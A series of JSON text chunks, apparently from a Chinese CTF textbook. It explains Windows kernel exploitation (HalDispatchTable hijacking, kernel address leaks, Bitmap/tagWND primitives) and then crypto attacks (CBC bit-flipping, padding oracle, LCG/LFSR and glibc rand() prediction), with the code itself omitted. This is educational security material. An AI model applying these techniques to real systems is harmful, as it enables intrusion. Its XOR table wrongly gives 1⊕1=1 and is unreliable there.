    {"text": "换而言之，我们可以事先在用户态通过VirtualAlloc等函数手动映射具有执行权限的内存页到用户空间中，然后在从内核空间中跳到我们映射的用户内存页去执行（必须处于同一个进程上下文），同样为存放shellcode提供了想象空间。"},
    {"text": "另外，一些Native API可以泄露内核模块的地址。 这些Native API本来并不是直接提供给用户使用的，并且Native API与部分内核API存在对应关系，因此部分API设计并没有考虑到内核地址泄露的问题。"},
    {"text": "图6-9-38 在生成Windows 7驱动程序示例的代码时，注意设置Visual Studio项目的目标平台，需要把 Target OS Version 设置为Windows 7，把 Target Platform 设置为Desktop（见图6-9-39）。"},
    {"text": "通过反汇编，我们分析内核溢出空间为0x28字节，因此编写以下代码： 在利用代码中，我们先调用CreateFile函数传递设备的符号链接名称，打开设备对象并获得一个句柄。"},
    {"text": "0x28字节后是我们实际覆盖的返回地址，这里需要先在用户态通过VirtualAlloc函数来分配一块可执行的内存，并把返回地址设置为这块内存的地址。"},
    {"text": "例如C++程序的虚表或许是一个极佳的目标，虽然Windows内核空间中没有C++虚表却存在许多类似的数据结构，其中最广为人知的是NT模块中的HalDispatchTable。"},
    {"text": "HalDispatchTable是一个全局的函数指针表： 图6-9-40 通常，程序可以通过调用NtQueryIntervalProfile函数来触发它，因为NtQueryIntervalProfile内部调用了KeQueryIntervalProfile函数，见图6-9-41。 KeQueryIntervalProfile函数会调用HalDispatchTable中的xHalQuerySystemInformation函数。"},
    {"text": "我们编写的通过NtQuerySystemInformation函数泄露NT模块的代码如下： 图6-9-41 图6-9-42 NtQuerySystemInformation是一个根据SystemInformation参数确定返回值类型的函数，Windows中有很多API都是这种设计。"},
    {"text": "因此我们先在第一次调用这个函数时传递缓冲区的大小为0字节，这样会将实际需要的缓冲区大小作为ReturnLength参数返回，再根据返回的大小来分配实际的缓冲区并进行第二次调用，与之类似的不确定返回数据长度的API都是采取这种调用方式的。"},
    {"text": "这里需要手动定义NtQuerySystemInformation函数的原型、传入参数的结构等，其实这些数据结构和函数声明在Windows的各类头文件中就可以找到。 具体代码如下： 在声明NtQuerySystemInformation函数原型时需要增加extern\"C\"的辅助声明，这是因为Visual Studio默认为驱动项目生成的代码文件是*.cpp，在编译时也会按照C++代码来进行编译，但是按照C++编译的函数符号是带有类信息的，在进行链接时会找不到对应的lib文件中的函数。"},
    {"text": "打开项目属性页，选择“ 链接器 → 输入 ”，在“ 附加依赖项 ”中添加“ntdll.lib”，因为NtQuerySystemInformation函数是由ntdll.dll导出的，见图6-9-43。"},
    {"text": "图6-9-44 综上所述，我们编写的利用代码如下： 我们通过逆向得出HalDispacthTable在NT模块中的偏移为 0x1e9c30 ，且 xHalQuerySystem-Information 为HalDispacthTable中的第二个函数。"},
    {"text": "HalDispacthTable可以利用的函数指针不止xHalQuerySystemInformation，Windows内核中可以利用的这种数据结构也不止HalDispacthTable，如在 win32k.sys 模块中也存在大量的函数使用类似的全局指针表进行调用（见图6-9-46）。"},
    {"text": "利用代码如下： 图6-9-46 图6-9-47 这次利用中通过NtQuerySystemInformation泄露出win32k.sys模块的基地址，再计算函数表的地址并通过任意地址写进行劫持，整个过程比较简单，不再赘述。"},
    {"text": "6.9.2.6 内核缓解措施与读写原语 自Windows 7以来，每一代新发布的Windows操作系统相比前作多多少少在内核漏洞防御方面增加了缓解措施，如NULL Dereference Protection、NonPagedPoolNX、Intel SMEP、Intel Secure Key、int 0x29、Win32k Filter等。"},
    {"text": "由于前文这些缓解措施的出现，一方面使得泄露内核地址信息变得困难，另一方面使得攻击者难以分配合适的内存存放shellcode，虽然此时仍然可以通过内核地址泄露漏洞与内存破坏漏洞结合的方式进行利用，但是相对而言成本过高。 因此攻击者在进行内核利用时考虑不使用shellcode，而是通过寻求 获取读写原语 的方式来进行利用，即：把漏洞转化为不受限制的任意地址（绝对地址或相对地址）读和任意地址写操作，再通过任意地址读和任意地址写来实现最终的利用。 这里简单介绍两个内核漏洞利用历史上出现过的比较经典的内核读写原语： Bitmap原语 、 tagWND原语 。"},
    {"text": "这些内核对象需要具有一些指针域或者长度域，如在浏览器利用技术中经常以Array作为获取内存读写原语的途径，因为Array对象通常具有一个长度域和一个指针表示数据存储的缓冲区。"},
    {"text": "当然，与用户态的利用不同，目标内核对象不仅需要满足以上条件，还需要直接在用户空间能被访问到，并且必须能够在用户态获知它的地址信息，否则目的无法达到。"},
    {"text": "同样，在Win32 API函数GetBitmapBits对应的内核函数NtGdiGetBitmapBits中存在类似的代码如下，直接以pvScan0域作为缓冲区指针读取数据并返回用户态。"},
    {"text": "tagWND的情况与Bitmap类似，是在内核中表示窗体的一个GUI对象，其结构如下： 在Windows的各类数据结构的设计中，通常以一个单位长度的数组表示可变长缓冲区并辅以数据长度域。"},
    {"text": "在PEB中存在一个名为GdiSharedHandleTable的域，它是一个结构数组，见图6-9-50。 图6-9-50 GdiSharedHandleTable数组中的结构是GDICELL64。"},
    {"text": "在user32.dll模块中存在一个名为gSharedInfo的全局指针变量： 其中，aheList成员指向一系列的HANDLEENTRY结构，这个结构实际上由内核空间直接映射而来，因此在这个结构中，phead域实际指向的是UserHandleTable的地址。"},
    {"text": "6.9.3 参考与引用 BlackHat USA 2017:Taking Windows 10 Kernel Exploitation To The Next Level Defcon 25:Demystifying Kernel Exploitation By Abusing GDI Objects BlackHat USA 2016:Attacking Windows By Windows ReactOS Project:ReactOS Project Wiki Pavel Yosifovich,Alex Ionescu,Mark Russinovich:Windows Internals Intel:Intel® 64 and IA-32 Architectures Software Developer's Manual 6.10 从CTF到现实世界的PWN CTF从诞生至今已有20多年，即使是久经沙场的“老赛棍”，也是从做出签到题的新手开始成长起来的。"},
    {"text": "恰恰相反，他们转而将现实世界作为一场大型CTF，将真实的软件看作自己要挑战的题目，去发现真正的漏洞。 相比于CTF题目，现实世界的漏洞挖掘有许多不一样的地方。"},
    {"text": "但是现实情况下，攻击者要面对的环境更加复杂和诡异，Windows Server、操作系统的内核、浏览器、IoT等都有可能出现，每一次的漏洞挖掘都是一次全新的挑战。"},
    {"text": "比如在开始挖掘CS：GO的漏洞前，先要知道该游戏是用起源引擎制作的，对起源引擎要有全面的了解，包括：开发手册资料，曾经出现过的漏洞，发布在各种会议和博客中的对起源引擎的研究分析资料，甚至一些游戏外挂编写者对游戏逆向分析的资料等知识。"},
    {"text": "比如，CS：GO客户端游戏的攻击面大致有3种： ① 通过架设恶意服务器与客户端通信； ② 使用恶意的客户端与其他人进行联网游戏，然后通过语音或者聊天等方式攻击对方客户端； ③ 通过上传恶意地图、MOD、插件等供他人下载进行攻击。"},
    {"text": "由于起源引擎在十几年前有过一次代码泄露事故，虽然代码变化了许多，但是当初的整体构架依然没变，因此可以结合源码与逆向分析来更快地进行漏洞的挖掘。"},
    {"text": "而且CTF中的题目是有预期解的，只要顺着出题人的思路就能进行利用，实际的漏洞挖掘中却不存在预期的解法，这意味着存在无法利用的漏洞，可能是漏洞代码没有办法在默认配置下执行到，或者是没有办法绕过保护机制。"},
    {"text": "1．CTF与挖掘实际漏洞的不同 参加CTF与挖掘实际漏洞主要有两点不同：平台和角度。 首先，平台不同，CTF中的漏洞题目主要以Linux下的PWN为主，虽然从2018年开始陆续出现了向现实漏洞靠拢的题目，但是Linux还是主基调。"},
    {"text": "因为CTF比赛时间的限制，漏洞题目考察得更多的是漏洞利用，为此出题者往往会挖空心思设计各种限制并故意设计代码，让选手能通过各种技巧绕过这些限制。"},
    {"text": "CTF中其实很少有对漏洞的深入分析，主要原因是CTF中的漏洞都是人为设计的。 而一道CTF题目的代码大部分是为了构造漏洞或者为了能够利用而服务的。"},
    {"text": "但是还没结束，像堆溢出这种漏洞，为了搞清楚内存结构并且将内存按照自己需要的情况进行排布，往往需要花费与挖掘漏洞不相上下的精力去分析更多的代码。"},
    {"text": "因为很有可能其中包含有你所未知的新攻击面，且研究漏洞公告是最有效的了解同行的途径，同行们都在挖哪方面的漏洞、哪方面容易出漏洞、哪方面不值得再踏入进去这些通过跟踪漏洞公告都能获知。"},
    {"text": "或者提供一个存在弱点的自定义密码体制，参赛者需要分析出弱点并解出明文； 或者提供一个存在弱点的加密解密机的交互接口，参赛者需要利用密码体制的弱点来泄露某些敏感信息等。"},
    {"text": "本章由编码开始，再介绍古典密码体制，然后介绍现代密码体制中最有代表性也是CTF中经常出现的分组密码、流密码和公钥密码体制，最后介绍CTF中其他常见的密码学应用。"},
    {"text": "最常用的编码是ASCII（American Standard Code for Information Interchange，美国信息交换标准代码），包含国际通用的大小写字母、数字、常见符号等，是互联网的通用语言。"},
    {"text": "另一种广为人知的编码是摩斯电码，它是一种时断时续的信号代码，是一种早期的数字化通信形式。 不同于只使用0和1两种状态的二进制代码，摩斯电码的代码包括如下。"},
    {"text": "一般来说，编码的目的是对原始信息进行一定处理，用于更方便地进行传输、存储等操作。 但是编码不同于加密，并不是为了隐藏信息，也并没有使用到密钥等额外信息，只需知道编码方式就能得到原内容。"},
    {"text": "2 6 =64，所以每6bit为一个单元，对应某个可打印字符。 3字节有24bit，对应4个Base64单元，即3字节任意二进制数据可由4个可打印字符来表示。 在Base64中，可打印字符包括字母A～Z、a～z和数字0～9，共62个字符，以及+、/字符。"},
    {"text": "每次取出6bit，按照其值选择 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 中的字符作为编码后的输出，直到全部输入数据转换完成。"},
    {"text": "图7-1-2 2．Base32和Base16 Base系列中还有 Base32 和 Base16 ，其实Base32/Base16与Base64的目的一样，只是具体的编码规则不同。 Base32编码将二进制文件转换成32个ASCII字符组成的文本，转换表为 ABCDEFGHIJKLMNOPQRSTUVWXYZ234567 Base16编码则将二进制文件转换成由16个字符组成的文本，这16个字符为0～9和A～F，其实就是Hex编码。"},
    {"text": "3．uuencode uuencode 衍生自“unix-to-unix encoding”，曾是UNIX系统下将二进制的资料借由UUCP邮件系统传输的一个编码程式，是一种二进制到文字的编码。"},
    {"text": "图7-1-4 4．xxencode xxencode 与Base64类似，只不过使用的转换表不同： +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 只是多了“-”字符，少了“/”字符，而且xxencode末尾使用的补全符号为“+”，不同于Base64使用的“=”。"},
    {"text": "URL编码一个保留字符，需要先把该字符的ASCII编码表示为两个十六进制的数字，然后在其前面放置转义字符“ % ”，置入URI中的相应位置（非ASCII字符需要转换为UTF-8字节序，然后每字节按照上述方式表示）。"},
    {"text": "一般来说，CTF不会专门考察选手对各种编码的记忆能力，所以读者没有必要浪费时间去记忆各种编码，真正在CTF中遇到时，直接使用搜索引擎进行查询即可。"},
    {"text": "下面是凯撒密码的加密和解密的公式，其中 x 为待操作的文本， n 为密钥（即偏移量）： E n ( x )=( x + n ) mod26 D n ( x )=( x-n ) mod26 即使使用唯密文攻击，凯撒密码也是一种非常容易破解的加密方式。"},
    {"text": "当我们知道（或者猜测）密文中使用了某个简单的替换加密方式，但是不确定是否为凯撒密码时，可以通过使用诸如频率分析或者样式单词分析的方法，就能从分析结果中看出规律，确定使用的是否为凯撒密码。"},
    {"text": "然后根据每位秘钥对原文加密，如第1位密钥是 L ，对应第12个字母，那么偏移量则为12-1=11，对于第1位明文A，加密后的密文应为（A+11）mod26，即 L ；"},
    {"text": "一般，破解维吉尼亚密码有一些固定的套路：可以寻找密文中相同的连续字符串，则密钥长度一定为其间隔的因数，或者寻找“the”“I am”之类的特殊单词。 当然，现在已经有现成的工具可以使用（ https://atomcated.github.io/Vigenere/） ，遇到维吉尼亚密码可以直接使用在线工具求解。"},
    {"text": "7.2.2 固定替换 1．培根密码 培根密码（Bacon's Cipher） 是由法兰西斯·培根发明的一种隐写术，加密时，明文中的每个字母都会转换成一组5个英文字母，见图7-2-1。"},
    {"text": "图7-2-1 2．猪圈密码 猪圈密码（Pigpen Cipher） 是一种以格子为基础的简单替代式密码。 图7-2-2是猪圈密码的符号与26个字母的密码配对。"},
    {"text": "图7-2-2 图7-2-3 7.2.3 移位密码 1．栅栏密码 栅栏密码 是把要加密的明文分成每 N 个一组，然后把每组的第1个字符连起来，形成一段无规律的字符串。"},
    {"text": "在加密时，假设明文为“wearefamily”，密钥为“4”，先用密钥“4”将明文每4个字符分为一组“wear||efam||ily”，然后依次取出每组第1、2、3个字母，组为“wei||efl||aay||rm”，再连接起来就可以得到密文“weieflaayrm”。"},
    {"text": "然而，主流CTF一般不会把某种古典密码的加解密本身作为一个题目的核心考点，如果遇到了未曾见过的古典密码，可以参考文章《 CTF中那些脑洞大开的编码和加密 》，再结合搜索引擎，基本能找到对应的加密、解密方法。"},
    {"text": "7.3 分组密码 在密码学中， 分组加密（Block Cipher） 又称为分块加密或块密码，是一种对称密码算法，这类算法将明文分成多个等长的块（Block），使用确定的算法和对称密钥对每组分别加密或解密。"},
    {"text": "分组密码的工作模式描述了加密每个数据块的过程，并常常使用基于一个称为 初始化向量（Initialization Vector，IV） 的附加输入值进行随机化，以保证安全。"},
    {"text": "7.3.1.1 ECB ECB（Electronic Code Book，电子密码本） 是分组加密最简单的一种模式，即明文的每个块都独立地加密成密文的每个块，见图7-3-1。"},
    {"text": "设明文为 P ，密文为 C ，加密算法为 E ，解密算法为 D ，则ECB模式下的加密和解密过程可以表示为： C i = E ( P i ) P i = D ( C i ) ECB模式的缺点在于同样的明文块会被加密成相同的密文块，因此不能很好地隐藏数据模式。"},
    {"text": "7.3.1.2 CBC 在 CBC（Cipher Block Chaining，密码分组链接） 模式中，每个明文块先与前一个密文块进行异或（XOR）后再进行加密，见图7-3-2。"},
    {"text": "图7-3-1 图7-3-2 设第一个块的下标为1，则CBC的加解密可以表示为 C 0 =IV··· C i = E ( P i ⊕ C i -1 ) C 0 =IV··· P i = D ( C i )⊕ C i -1 7.3.1.3 OFB OFB（Output FeedBack，输出反馈模式） 可以将块密码变成同步的流密码，将之前一次的加密结果使用密钥再次进行加密（第1次对IV进行加密），产生的块作为密钥流，然后将其与明文块进行异或，得到密文。"},
    {"text": "OFB模式的公式表示为： O 0 =IV O i = E ( O i -1 ) C i = P i ⊕ O i P i = C i ⊕ O i 图7-3-3 7.3.1.4 CFB CFB（Cipher FeedBack，密文反馈） 类似OFB，只不过将上一组的密文作为下一组的输入来加密进行反馈，而OFB反馈的是每一组的输出再次经过加密算法后的输出，见图7-3-4。"},
    {"text": "图7-3-4 CFB的加密与解密可以表示为： C 0 =IV C i = P i ⊕ E ( C i -1 ) P i = C i ⊕ E ( C i -1 ) 7.3.1.5 CTR CTR模式（Counter Mode，CM） 也被称为ICM模式（Integer Counter Mode，整数计数模式）、SIC模式（Segmented Integer Counter）。"},
    {"text": "图7-3-5 7.3.2 费斯妥密码和DES 7.3.2.1 费斯妥密码 在密码学中， 费斯妥密码（Feistel Cipher） 用于构造分组密码的对称结构，以德国出生的物理学家和密码学家Horst Feistel命名，通常称为Feistel网络。"},
    {"text": "每组明文被分为 L 0 和 R 0 两部分，其中 R 0 和密钥key会被作为参数传入轮函数 F ，并将 F 函数的结果与另一部分明文 L 0 异或得到 R 1 ，而 L 1 赋值为 R 0 ，即对于每轮有 L i +1 = R i R i +1 = L i ⊕ F ( R i , K i ) 经过 n 轮操作后，就可以得到密文（ R n +1 ， L n +1 ）。 解密其实是把整个加密操作逆序做一遍： R i = L i +1 L i = R i +1 ⊕ F ( L i +1 , K i ) 经过 n 轮操作后，就可以得到明文（ L 0 ， R 0 ）。"},
    {"text": "本质上，轮函数 F 可以看成一个随机数生成器，如果每轮生成的数据都没有办法被预测，那么攻击者自然没有办法以此作为突破点对密码进行攻击。"},
    {"text": "图7-3-6 7.3.2.2 DES DES（Data Encryption Standard，数据加密标准） 是一种典型的基于Feistel结构的加密算法，1976年被美国国家标准局确定为联邦资料处理标准（FIPS），随后在国际上广泛应用。"},
    {"text": "DES是基于56bit密钥的对称算法，因为包含一些机密设计元素，密钥长度相对较短，并且被怀疑内含美国国家安全局（NSA）的后门，DES算法在刚推出时饱受争议，受到了严密的审查，并推动了现代的块密码及其密码分析的发展。"},
    {"text": "1．初始置换（Initial Permutation） 首先，DES会对用户的输入进行处理，称为 初始置换（Initial Permutation） ，用户的输入将会按照表7-3-1的顺序进行置换。"},
    {"text": "下面是一个特定的输入 M 经过IP后的结果： M=0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111 IP=1100 1100 0000 0000 1100 1100 1111 1111 1111 0000 1010 1010 1111 0000 1010 1010 将IP分成等长的左右两部分，可以获得初始的L和R的值： L0=1100 1100 0000 0000 1100 1100 1111 1111 R0=1111 0000 1010 1010 1111 0000 1010 1010 2．subkeys的生成 首先，传入的原始key会根据表7-3-2置换生成64位密钥。"},
    {"text": "表7-3-2 下面是一个输入的key被转换成置换密钥key+的一个例子： key=00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001 key+=1111000 0110011 0010101 0101111 0101010 1011001 1001111 0001111 得到key+后，再将其分成两部分——C0和D0： C0=1111000 0110011 0010101 0101111 D0=0101010 1011001 1001111 0001111 得到C0和D0后，对C0和D0进行循环左移操作，即可得到C1～C16和D1～D16的值，每一次循环移位的位数分别如下： 1122222212222221 例如，对于之前的C0和D0，第一轮对其进行循环左移一位操作，即可得到C1和D1，而在C1和D1的基础上继续循环左移一位，即可得到C2和D2。"},
    {"text": "C1=1110000110011001010101011111 D1=1010101011001100111100011110 C2=1100001100110010101010111111 D2=0101010110011001111000111101 接下来，将每组C n 和D n 进行组合，就得到了16组数据，每组数据有56位。"},
    {"text": "表7-3-3 比如，对于之前提到的C1D1，通过计算可以得到对应的K1： C1D1=1110000 1100110 0101010 1011111 1010101 0110011 0011110 0011110 K1=000110 110000 001011 101111 111111 000111 000001 110010 3．轮函数 DES中使用的轮函数 F 结构见图7-3-7。"},
    {"text": "图7-3-7（来自Wikipedia-DES） 每轮的输入会进入 E 函数并扩展成48位，扩展的方法与前面所使用的索引替换是一样的，替换时直接按照表7-3-4进行索引即可。 表7-3-4 下面是一个输入被E函数扩展的例子： R0=1111 0000 1010 1010 1111 0000 1010 1010 E(R0)=011110 100001 010101 010101 011110 100001 010101 010101 完成扩展后，这个输入会与对应的subkeys进行异或，得到48位的数据。"},
    {"text": "加密算法的核心代码如下： 代码明显是一个Feistel的结构，其中 F 函数为round_add，只不过没有进行异或操作，而是直接把 F 函数的输出作为每轮加密的结果。"},
    {"text": "编写解密代码比较容易，基本上是把加密函数的代码抄一遍，然后将子密钥翻转，把每轮使用的子密钥对应上即可： 7.3.3 AES AES（Advanced Encryption Standard） 又称为Rijndael加密法，是美国政府曾采用的一种分组加密标准，用来替代DES，已经被多方分析且广为全世界所使用。"},
    {"text": "AES的加密过程是在一个4×4字节大小的矩阵上运作的，这个矩阵又称为“体（state）”，其初值是一个明文区块（矩阵中的一个元素就是明文区块中的1 Byte）。"},
    {"text": "各轮AES加密循环（除最后一轮外）均包含4个步骤： （1） AddRoundKey：矩阵中的每字节都与该回合密钥（round key）做XOR运算，每个子密钥由密钥生成方案产生。"},
    {"text": "7.3.3.1 有限域 有限域（Finite Field） 是包含有限个元素的域，可以简单理解为包含有限个元素的集合，其中可以对包含的元素执行加、减、乘、除等操作。"},
    {"text": "通过收集辗转相除法中产生的式子倒序即可得到整个式子的整数解。 例如，3 x +11 y =1，先利用辗转相除法可以得到如下式子： 11=3×3+2 3=2×1+1 再将其改写成余数形式： 将式（7-2）带入（7-1）式，则 1=[3×(-3)+11×1]×(-1)+3×1 化简后，可得 3×4+11×(-1)=1 此时已经得到了 x 的解为4，即3模11的逆元。"},
    {"text": "【例7-3-2】 SUCTF 2018 Magic，题目的核心代码如下： magic文件中存储着256个十六进制数，整个代码的加密逻辑是将每轮的数与明文进行按位与操作，再逐位进行异或，最后将结果输出。"},
    {"text": "逻辑上的异或、与操作是不是可以在GF（2）上有等价的运算操作呢？ 异或的运算规律如下： 0⊕1=1 0+1(mod2)=1 0⊕0=0 0+0(mod2)=0 1⊕1=1 1+1(mod2)=1 可以发现，异或操作其实等价于GF（2）上的相加。"},
    {"text": "7.3.3.2 Rijndael密钥生成 AES的加密过程中用到的并不是输入的128～256位的短密钥，而是基于该短密钥生成的一系列子密钥，通过原密钥生成子密钥的算法称为 Rijndael密钥生成方案（Rijndael Key Schedule） 。 每轮中，数据都需要与128位的子密钥异或，根据原始密钥生成各轮子密钥的过程是由Rijndael密钥生成方案完成的。"},
    {"text": "GF（2^8）扩展域下的运算与GF（2）的同理，在扩展域中，把一个数看成一个7次多项式： 多项式： x 6 + x 4 + x +1 二进制：{01010011} 十进制：{53} 可以看到，多项式中每个系数相当于二进制中对应的位，所以可以把GF（8）下的运算直接转换成多项式之间的运算。"},
    {"text": "在AES中采用了以下多项式： p ( x )= x 8 + x 4 + x 3 + x +1 Rcon第9项可以用如下方法来计算： x 8 = p ( x )+ x 4 + x 3 + x +1 → x 8 ≡ ( x 4 + x 3 + x +1) mod p ( x ) 所以第9项对应的多项式为 x 4 + x 3 + x +1，换算成十进制数就是27。"},
    {"text": "这样得到Rcon数组中的每一项，对于之前得到的数据 |cd 36 ee 77| ，将其第1位与Rcon[1]进行异或操作，得到 |cc 36 ee 77| ，将这组与第一行的数据 |5a 55 57 20| 进行异或，就可以得到下一轮子密钥的第一行 |96 63 b9 57| 了。"},
    {"text": "例如，对data进行替换的伪代码如下： 本步骤的逆也比较简单，找到数据在s_box中的索引，然后还原即可。 为了查表方便，我们可以预先准备好s_box的逆变换数组inv_sbox，来对应数据在s_box中的索引。"},
    {"text": "（4） MixColumns（列混合）：把输入的每列看做一个向量，然后与一个固定的矩阵在GF（2^8）扩展域上相乘，这个固定的矩阵其实是由向量 |2 1 1 3| 通过逐位变换得到的。"},
    {"text": "对于本步骤的逆操作，同样可以用sage在GF（2^8）上求得对应的逆矩阵： 虽然在密码学题目中专门考察本步骤的题目比较少，但是在逆向题目中出现的频率并不低，类似题目可以参考CISCN 2017的re450 Gadgetzan。"},
    {"text": "7.3.3.4 常见攻击 1．Byte-at-a-Time 例如，对于pwnable.kr的crypto1，核心代码如下： 本题目需要成功通过验证让服务器认为我们是admin用户才能拿到flag。"},
    {"text": "可以利用这个特性，先构造一组数据，使得“id-pw-”的长度为15，最后1位会被填成cookie的第1位，见图7-3-9。 这时可以获取整个块加密后的结果，再将之前Cookie的第1位填上自己构造的数据，见图7-3-10。 图7-3-9 图7-3-10 如果此时自己构造的数据的加密结果恰好等于之前的加密结果，证明用来加密的数据与之前的数据一样，由此可以探测出cookie的第1位，用同样的方法可以逐字节获取完整的cookie。"},
    {"text": "首先，在CBC模式下解密： P 1 = D ( C 1 )⊕IV P 2 = D ( C 2 )⊕ C 1 P 3 = D ( C 3 )⊕ C 2 假设此时的 C 1 和 C 3 相等，并且 C 2 为一个全0的块： P 1 = D ( C 1 )⊕IV P 2 = D ('\\x00'*BLOCK_LEN)⊕ C 1 P 3 = D ( C 1 )⊕('\\x00'*BLOCK_LEN)= D ( C 1 ) 此时可以知道 D （ C 1 ）的值，把这个值与 P 1 异或即可得到IV的值。"},
    {"text": "3．CBC-Bit-Flipping 此攻击在Web题中比较常见，在可以任意控制密文的情况下，通过改变密文中的前一个块中的密文来影响后一个块的解密出的明文，见图7-3-11。"},
    {"text": "图7-3-11 密文经过解密函数后，会与前一个块的密文进行异或操作，从而控制后一个块解密出的明文。 当然，因为改变了第一组数据的密文，所以第一组数据经过解密函数的数据无法控制，但是如果可以控制IV，同样可以控制第一组数据解密出来的结果： 如代码所示，加密后的数据第1字节与3异或（a和b字符异或的结果为3），再将其进行解密操作，可以看到第二块的明文中第1字节字符a已经变成了b。"},
    {"text": "如果能获得密文 Y ，此时构造密文 C = F + Y ，就可以使用类似CBC-Bit-Flipping的技巧，通过修改该 F 的最后1字节，来改变 Y 解密出来的明文最后1字节的值。"},
    {"text": "一般情况下， F 会被设置成随机值，那么有很大可能性，当 Y 解密的最后1字节为 '\\x01' 时，才不会出现Padding错误的情况。 如果倒数第2字节解密结果为 '\\x02' ， Y 最后1字节解密的结果是 '\\x02' ，也不会报错，此时可以重新生成一个 Y 或更换探测的策略。 当探测到不会报错的 F （ n -1）的值时，可以用下面的公式算出 Y 最后1字节对应的明文： P （ n -1）=0x1⊕ F （ n -1）⊕原始的 F （ n -1） 获取到最后1字节值后，可以通过同样的方式去探测其他字节的值。"},
    {"text": "程序的主要逻辑如下： 设置admin标志位的代码为： 可以发现，程序并没有验证重复的key值，所以在之前加密的部分后面直接增加一个admin：1的字符串，即可把admin的值设置为1。 如果没有hash验证，可以直接修改iv的值，来让第一块密文解密的结果中admin的值变为1。 为了使最后1块解密的明文中出现admin：1，假设输入的用户名和密码都是5个a，可以构造这样一个输入，见图7-3-13。 为了使最后一块的明文从 (S1)\"aaaaa\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\" 变为 (S2)\"aaaaa;admin:1\\x03\\x03\\x03\" 这个字符串需要让前一个块的密文等于 S 1 ⊕ S 的值。 图7-3-13 但此时出现了新的问题，我们不希望第二个块的值被改变，所以需要继续修改第一个块的值，如果能知道第二个块的密文（ S 1 ⊕ S 2 ）解密后的值，就可以用同样的方法修改第一个块的密文，来控制第二个块的明文。"},
    {"text": "这时是Padding-Oracle攻击发挥本领的时候了，下面是一段获取last_chunk2变量解密后的值的脚本： 当然，本题目不止如此，我们需要计算出新生成的cookie的hash值来通过程序的验证，后续章节将会讲解Hash长度扩展攻击的基本原理。"},
    {"text": "7.4 流密码 流密码（Stream Cipher） 属于对称密码算法中的一种，其基本特征是加解密双方使用一串与明文长度相同的密钥流，与明文流组合来进行加解密。"},
    {"text": "密钥流通常是由某一确定状态的伪随机数发生器所产生的比特流，双方将伪随机数生成器的种子（seed）作为密钥，而组合函数通常为按位异或（xor）运算。"},
    {"text": "7.4.1 线性同余生成器（LCG） 线性同余生成器（Linear Congruential Generator，LCG） 是一种由线性函数生成随机数序列的算法，是一种简单且易于实现的算法。"},
    {"text": "7.4.1.1 由已知序列破译LCG 在已知 M 的情况下，由于LCG的生成式为一个简单的线性关系式，若能获取连续的2个 x i ，便可建立一个关于 A 和 B 的方程，获取多个 x i ，则可获得方程组 x i +1 =( Ax i + B ) mod M x j +1 =( Ax j + B ) mod M 求解此方程组，即可解出参数 A 和 B 。"},
    {"text": "由于通过线性同余方法得到的数值一定小于 M ，且对于满足周期为 M 的序列是在0～ M -1范围内均匀分布，通过观察所有的输出可以得到 M 的最小值，枚举大于这个数值的 M 。"},
    {"text": "加密脚本如下： 可以看到，脚本中对于flag.png进行了流密码加密，由 可知，对于密钥流的使用是每次产生的数字以小端序打包为2字节整数，再与明文进行异或后加密。"},
    {"text": "读取flag.enc.bin的前8字节，得到以下数据： 99 CE 83 E9 5D E0 D8 E0 将数据分别拆成2字节小端序数，便可获得以下明密文对： (0x5089,0xCE99) (0x474E,0xE983) (0x0A0D,0xE05D) (0x0A1A,0xE0D8) 分别进行异或，可以获得密钥流中的前4个值： 40464 , 44749 , 59984 , 60098 由于未知量有 A 、 B ，可以选取3个连续的密钥数值进行计算。 选取 x 1 =40464， x 2 =44749， x 3 =59984，代入生成式，得到 式（7-4）-式（7-3），得 对式（7-5）求解同余方程，得 A ≡44882mod65521 代入式（7-3），解得 B ≡50579mod65521 将 A 和 B 代入首个生成式 40464=(44882× x 0 +50579) mod65521 解得 x 0 ≡37388mod65521 化为2字节小端序数，得到6字节的key为： 52 AF 93 C5 0C 92 将密钥替换进源程序，由于加密采用异或操作，故只需再进行一次异或即可解密。"},
    {"text": "7.4.1.2 攻破Linux Glibc的rand()函数-1 Linux GNU C library中的rand()函数的实现如下： 可以看到，当使用rand_type_0时，采用的是标准的LCG算法，生成公式为 s i =(1103515245× s i -1 +12345) mod2147483648 显然，当捕获到一个其产生的随机数时，便可通过递推式预测出后产生的所有随机数。"},
    {"text": "因为1103515245与2147483648互素，可求得逆元1857678181，有 s i -1 =( s i -12345)×1857678181mod2147483648 从而实现随机数序列的向前恢复。"},
    {"text": "7.4.2 线性反馈移位寄存器（LFSR） 移位寄存器（Shift Register） 是数字电路中常见的一种器件，可以并行输入若干位进行初始化，并可进行移入、移出等操作，常被用于产生序列信号。"},
    {"text": "图7-4-3 为了使LFSR获得最大的周期，即 n 位的LFSR获得2 n -1的周期，对于反馈函数 F 的选取有以下方法：选取GF（2）上的一个 n 次的本原多项式，当 n =32时，选取 x 32 + x 7 + x 5 + x 3 + x 2 + x +1 那么可以得到 F 函数为 F = s 32 ⊕ s 7 ⊕ s 5 ⊕ s 3 ⊕ s 2 ⊕ s 1 即移入位由寄存器中第32、7、5、3、2、1位异或而成。"},
    {"text": "7.4.2.1 由已知序列破译LFSR 设LFSR长度为 n 位，当已知其长度为2 n 的输出时，若方程组有解，即可通过解线性方程组来完全获得LFSR的反馈函数，从而破译LFSR。 例如，考虑4位某未知LFSR，获取输出序列为10001010，由于异或等价于模2加法，即可列出下列线性方程组： 解方程组，可得 那么，即可求得反馈函数为： F = s 0 ⊕ s 2 即可完全预测此LFSR的序列。"},
    {"text": "7.4.2.2 攻破Linux glibc的rand()函数-2 rand()函数的另一部分实现如下： 这种产生下一个随机数的方法是由状态数组中的fptr和rptr指向的数字相加，再除以2来实现的，非常类似线性反馈的生成方法。"},
    {"text": "在TYPE_3的情况下，这个状态数组的长度为344，而fptr和rptr分别为当前下标减31和当前下标减3，那么产生下一个随机数的函数实际上是如下线性反馈式： 注意，移入状态数组中的数并不是产生的随机数，而是在右移1位前的数，末位存在0和1两种情况，这样我们获取32组随机数后，向下预测的下一个数会以25%的概率存在1的误差，且误差会随着预测数的增多而增大。"},
